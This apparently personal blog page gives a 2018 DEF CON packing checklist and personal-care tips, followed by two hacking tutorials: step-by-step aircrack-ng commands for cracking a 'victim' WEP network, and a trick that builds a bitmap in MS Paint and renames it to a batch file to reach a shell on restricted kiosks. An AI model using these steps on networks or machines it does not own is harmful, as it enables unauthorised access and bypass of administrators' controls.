Hacker Summer Camp Check List - 2018

UPDATED: 2018.0731

Every year I go through an exercise of sorting through all my gear to figure out which ones I will bring to hacker summer camp.  I always end up bringing more than I need.  But just like any of you, I go by “it’s better to have and not need than to need and not have”.  Don’t deny it… you can all look in your garages, basements and storage units and see how much hacking stuff you’ve accumulated through the years.  And if you’re just starting out, give it a couple of years, and you’ll see what I mean.

NOTE: It's your first DEF CON!?! Awesome, welcome to hacker summer camp! See the DEF CON 3-2-1 Rules below.

Here is my basic hacker summer camp check list:

CASH:

Bring cash, you'll need it for registration.  Using ATMs in or near the con's vicinity is not advised.

LAPTOP and CELL PHONE: (Don't use your work issued laptop or cell)

(1) Burner Laptop

I dual-boot with Kali and Windows. Kali being my main OS, I would also setup a variety of backup VMs in Virtual Box.  Test and get familiar with your VMs before you go.

(1) Burner Cellphone

You'll need one to constantly be in touch with your hacker group. Also helps in keeping tabs on happenings during the con. (Note: If you have an Android, you can look into creating a separate user profile with limited functionality.)

<<eBay is your friend when looking for gear for occasional use.  Remember that these are not your daily comm gear.  You do not need the latest or greatest models or versions.>>

(2) Baofeng Radios UV5R

POWER / ELECTRICITY:

(1) Portable Charger
You’ll need it to charge your phone, and power your #badgelife addiction.

(2) Power Strips
Get a small one to carry around with you, and a big one for your hotel room.  It'll be a plus if your power strip has built in USB charging ports.

<<This is the power strip I use.  The USB ports are 2.4v each.  It saves you from bringing a bunch of power adapters when travelling.>>

(20+) Batteries – AAA, AA, 9-Volts, CR2032, Li-Po
Batteries are always a premium at the con. Bring a lot and share...

STORAGE:

(1) Portable External Hard Drive 1-2 TB
I'd keep all things downloaded from the con in this drive.  Including files and tools you used on your burner  laptop during the con. 

(10-15) Variety of Memory Cards - I know it's a lot. You really never know what you'll need until you get deep into some challenges.  The only ones I actually end up using are the bootables with the Linux distros.

<<I use an Altoids can with 3D printed dividers, a pill box and an actual SD card case I found at the local Daiso.>>

NETWORKING:

(1) 5-Port Switch

(1) Portable WiFi Travel Router

(1) Hi-Gain USB Wireless Long Range Network Adapter
(1) Network Tap

(1) HackRF

(1) Ubertooth
I like network packets, so I need all of these.

CABLES:

(2) 15’ network cables

(Variety) USB cables all kinds – mini, micro, USB-C etc. If you can find an all-in-one cable even better.

<<Here's the one I use.  It'll charge an Apple, Android and USB-C phones.

(1) HDMI cable

MISC:

• RFID Blocking Sleeve - you are attending hacking con.
• Duct Tape - if you can't fix it...
• Super Glue - broke it? glue it back together.
• Zip Ties - for keeping things together and other security applications.
• Multi-Tool with Pliers - brute force tools and cutting tools are most welcome.
• Masking Tape - see Duct Tape
• Hot Glue Gun - level up for Super Glue
• Screwdriver Set - level up for multi-tool
• Permanent Markers - someone always needs one.
• Portable Speakers - some #badgelife toys might need it.

EXTRAS: (Village Specific Tools)

• Lock Pick Set

<<Don't forget your lock pick set. Your first DEF CON? Drop-by LPV and grab a starter set.>>

• Soldering kit
• Multimeter

SWAG:

Stickers to trade

Hacker Challenge Coins and Poker Chips

Hacker T-Shirts to trade

Booze for goon bribery.

==========================================================

DEF CON 3-2-1 Rule 
In addition to the list of gear, you will also need personal items.  Let the DEF CON 3-2-1 Rule be your guide.  Please take note the guide is a minimum recommendation.  Let's get started...

At a minimum, 3 hours of sleep a day. Sleep, yes, sleep.  Your brain needs it. <Pajamas, toothpaste, tooth brush..etc.> 

At a minimum, 2 meals a day. You will need to eat for energy. Booze and beer all day will only take you so far....  Have snacks <Trail mix, power bars, beef jerky, breath mints,...etc.> in your bag because with everything happening around you will most likely contract a case of *FOMO.  Set aside a couple of hours to eat. Drink water! It helps if you plan to party all night.

At a minimum, 1 shower a day. Showers are good not only for you but also for the rest of us. <3-4 days worth of change of clothes (includes under garments, socks...etc.), shampoo, soap, deodorant, mouthwash ...etc.> "You plus deodorant = everyone wins." Try to avoid crowded elevators on the 3rd day of hacker summer camp. You can thank me later.

*FOMO - "Fear of missing out" 

Crack a WEP!

I've been trying different combinations of cracking a WEP key. Each "experiment" requires a different strategy, each subject needs to be poked a little different from the other. The instructions below might or might not work. But it does work most of the time. It works very well when a client is connected to the AP, but of course you can fake that also.

I recommend changing you monitoring interface's MAC address for anonymity and to make is easy to remember - example 11:22:33:44:55:66 You can use MACCHANGER if needed.

1. set the interface in monitor mode - airmon-ng [interface]
2. to recon the air waves use airodump-ng: airodump-ng [interface]
3. pick the victim and take note of the SSID, channel and mac address.
4. stop airodump-ng, then restart it with the write option to start catching the IVs. - airodump-ng -c [channel] -w [filename] [interface]
5. Now we need to inject some "care packages" to generate some IV's. This is were you should get creative. Take your pick.

NOTE: to test the subjects's ability for packet injection, use the following code. you are looking for a 100% injection result - aireplay-ng -9 -e [vic ssid] -a [vic mac] [interface]

fake associations for the vic. ap
aireplay-ng -1 0 -e [vic ssid] -a [vic mac] -h [your mac] [interface] or use this for picky access points
aireplay-ng -1 6000 -o 1 -q 10 e [vic ssid] -a [vic mac] -h [your mac] [interface]

you have to get a successful association before you can continue. your ARP request replay packets will not generate any IV's if you are not associated with the AP. send out ARP request replay modes
aireplay-ng -3 -b [vic mac] -h [your mac] [interface]

6. Start cracking -aircrack-ng [filename] pick the vic SSID then go.
Note: you can use the FMS/Korek method by adding -K on the code above.

You will need approx. 250,000 IV's for a 64 bit key, 1.5M IV's for a 128 bit key. for the PTW method, you'll need 20,000 packets for 64bit and 40,000 packets for 128bits.

"This is strictly for educational purposes only. Setup you own lap or crack you own Wifi for pen testing purposes.

Access a Windows Shell from MS Paint (Windows 7)

Bypass restrictions, like Group Policies setup by network administrator, and get to the shell by using MS Paint. This is handy if the command prompt is hidden from a kiosk machine and you have access to MS Paint. Of course, after you get to the shell, you will still need to know what to do with it to "test" stuff.

There is a certain image size with the correct combination of RGB entries that will allow you to get to generate a file which basically fires up the Windows shell. Here we go.

1. Fire up MS Paint.
2. Create a new image. Change the size of the image to, in "Image Properties", to (width) Wide = 6 and (height) Tall = 1' (6x1 pixels)
3. Zoom in to the image, then Edit the colors (see below)
4. You will need to create 4 custom colors to fill up the image 1 pixel at a time, 6 times. Use 1 of the custom colors for each pixel. The color settings for

each pixel is listed below.

(1st pixel)
Red = 10
Green = 0
Blue = 0

(2nd pixel)
Red =13
Green =10
Blue = 13

(3rd pixel)
Red =100
Green =109
Blue = 99

(4th pixel)
Red =120
Green =101
Blue = 46

(5th pixel)
Red =0
Green =0
Blue = 101

(6th pixel)
Red =0
Green =0
Blue = 0

5. Save this as a bitmap file (24-bit Bitmap (*.bmp)) - name it "command.bmp"
6. Rename the "command.bmp" file to "command.bat"

Notable Tools:
mh-nexus.de/en/hxd (for Windows) - you can actually edit the hex and add additional commands after cmd to customize the batch file. Nifty little trick, you just have to remember 6 sets of RBG values. peace out! pentest responsibly!